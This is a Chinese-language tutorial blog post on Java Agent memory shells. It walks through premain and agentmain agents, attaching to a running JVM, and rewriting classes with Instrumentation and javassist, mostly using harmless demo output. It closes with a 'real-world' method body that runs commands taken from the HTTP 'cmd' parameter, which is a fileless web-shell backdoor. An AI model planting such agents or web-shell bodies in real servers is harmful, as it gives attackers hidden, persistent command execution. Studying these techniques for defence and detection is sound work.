java内存马之java-agent

参考

Java内存马Java-Agent篇

概念

一个运行中的 Java 程序运行在一个 JVM(Java 虚拟机)实例中。

Java Agent可以在程序运行时动态地修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。

对于 Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent,另一种是 JVM 启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图:
Premain-Agent

image-20250521221212892

agentmain-Agent

image-20250521221243308

Java Agent实例

环境配置

起一个默认的Maven环境。

在项目的/src/main/目录下创建resources目录,并往下创建META-INF目录,在该目录下创建MANIFEST.MF文件,目录结构如下图:

image-20250522155445866

在pom.xml中添加如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
</archive>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>6</source>
<target>6</target>
</configuration>
</plugin>
</plugins>
</build>

premain-Agent

下面的文件都放到/src/main/java目录也就是代码根目录下,要不然最后运行的时候会报URLClassLoader找不到这些类

从上面流程图可知,在运行一个类的main方法之前,会先调用指定jar包中Premain-Class类中的premain方法。

先创建一个premain-Agent类:

1
2
3
4
5
6
7
8
9
import java.lang.instrument.Instrumentation;

public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i =0 ; i<10 ; i++){
System.out.println("premain-Sleep_Transformer");
}
}
}

MANIFEST.MF文件内容如下:

1
2
Manifest-Version: 1.0
Premain-Class: org.example.Java_Agent_premain

先创建Java Agent的class文件,再打包成jar:

1
2
3
4
REM 创建class文件
javac Java_Agent_premain.java
REM 生成Java Agent的jar
jar cvfm agent.jar ../../../resources/META-INF/MANIFEST.MF Java_Agent_premain.class

然后我们就在当前目录下看到了agent.jar包。

我们再创建一个Hello类,表示一个正常运行的程序,或者说受害程序:

1
2
3
4
5
public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

修改一下MANIFEST.MF:

1
2
Manifest-Version: 1.0
Main-Class: org.example.Hello

接着生成class,创建jar:

1
2
3
4
REM 创建class文件
javac Hello.java
REM 生成Java Agent的jar
jar cvfm hello.jar ../../../resources/META-INF/MANIFEST.MF Hello.class

到这里为止当前目录下的文件如下所示:
image-20250522155402224

我们现在要在hello.jar执行之前执行agent.jar,执行命令如下:

1
java -javaagent:agent.jar=Hello -jar hello.jar

结果如下图:

image-20250522155700897

agentmain-Agent

相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。

跟agentmain-Agent有关的两个类:

  • com.sun.tools.attach.VirtualMachine
  • com.sun.tools.attach.VirtualMachineDescriptor

VirtualMachine类可以获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等。该类的主要方法如下:

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。

我们可以通过利用上面两个类,获得一个正常运行的JVM,并实现一些功能,比如获取JVM的PID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package Test2;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class GetPID {
public static void main(String[] args) {
List<VirtualMachineDescriptor> vm = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vm) {
if (vmd.displayName().equals("Test2.GetPID")) {
System.out.println(vmd.id());
}
}
}
}

运行后结果如下:
image-20250522162329945

下面我们要开始进行攻击了。先创建一个Sleep_Hello类,模拟一个正常运行的程序:

1
2
3
4
5
6
7
8
9
10
11
12
package Test2;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

然后创建一个Java_Agent_agentmain类,其作为一个Java Agent,将会被打包成jar并注入到JVM里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package Test2;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了Java Agent!");
sleep(3000);
}
}
}

接下来是编译成class并一一打包成jar,我选择修改/src/main/resources/META-INF/MANIFEST.MF文件(与学习premain-Agent所使用的MANIFEST.MF路径不同)。

1
2
Manifest-Version: 1.0
Agent-Class: Test2.Java_Agent_agentmain

我们前面已经把pom.xml设置好了,直接运行命令:(在idea的终端就可以了)

1
mvn clean compile assembly:single   

然后会在target命令下生成对应的jar:

image-20250522162954320

现在有了jar,但是不可能说直接上传jar就可以攻击程序,我们需要执行一段代码,让该Java Agent注入到目标JVM里,这里就再创建一个类实现这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Test2;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Test2.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

先运行Test2.Sleep_Hello,然后再运行Inject_Agent。Inject_Agent会找到Test2.Sleep_Hello对应的JVM,并把Java Agent的jar注入其中,然后Java Agent里的恶意代码就跟着执行了:

image-20250522163411907

动态修改字节码 Instrumentation

动态修改字节码,直接都学过都是用javassist来进行修改的,所以我们先加上依赖

1
2
3
4
5
<dependency>  
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。

该类是一个接口,其方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}

这里的类转换器是ClassFileTransformer接口,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在java agent内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与addTransformer搭配使用。

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。  
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

那么如何运用到攻击中呢?前文谈到的agentmain-Agent里可以执行任意代码,那么就这么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package Test3;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Attack_jar {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
for (Class aClass : classes) {
if (aClass.getName().equals("Test3.Sleep")) {
inst.addTransformer(new Sleep_Transformer(), true);
inst.retransformClasses(aClass);
}
}
}
}

Test3.Sleep类似Test2.Sleep_Hello类,模拟一个正常的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package Test3;

import static java.lang.Thread.sleep;

public class Sleep {
public static void main(String[] args) throws Exception {
while(true){
hello();
sleep(3000);
}
}

public static void hello() {
System.out.println("Hello");
}
}

Sleep_Transformer类是一个实现了ClassFileTransformer接口的类,其利用javassist修改Test3.Sleep类的hello方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package Test3;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Sleep_Transformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("Test3.Sleep");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

然后在Attack_jar类也就是Java Agent会调用Instrumentation类的retransformClasses方法重新加载Test3.Sleep类,接着生成对应的jar包,并注入到Test3.Sleep对应的JVM中。写一个类实现该过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Test3;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Attack_main {
public static void main(String[] args) throws Exception{
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Test3.Sleep则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Test3.Sleep")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

生成jar包的配置文件MANIFEST.MF需要再添加两行,告诉JVM这个Agent支持 类重定义和类再转换(retransform)的能力。不然会报错

修改后的MANIFEST.MF:

1
2
3
4
Manifest-Version: 1.0
Agent-Class: Test3.Attack_jar
Can-Redefine-Classes: true
Can-Retransform-Classes: true

按上面的顺序运行,结果如下:

image-20250522202028941

在实战中设置的方法体一般如下所示:

1
2
3
4
5
6
7
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";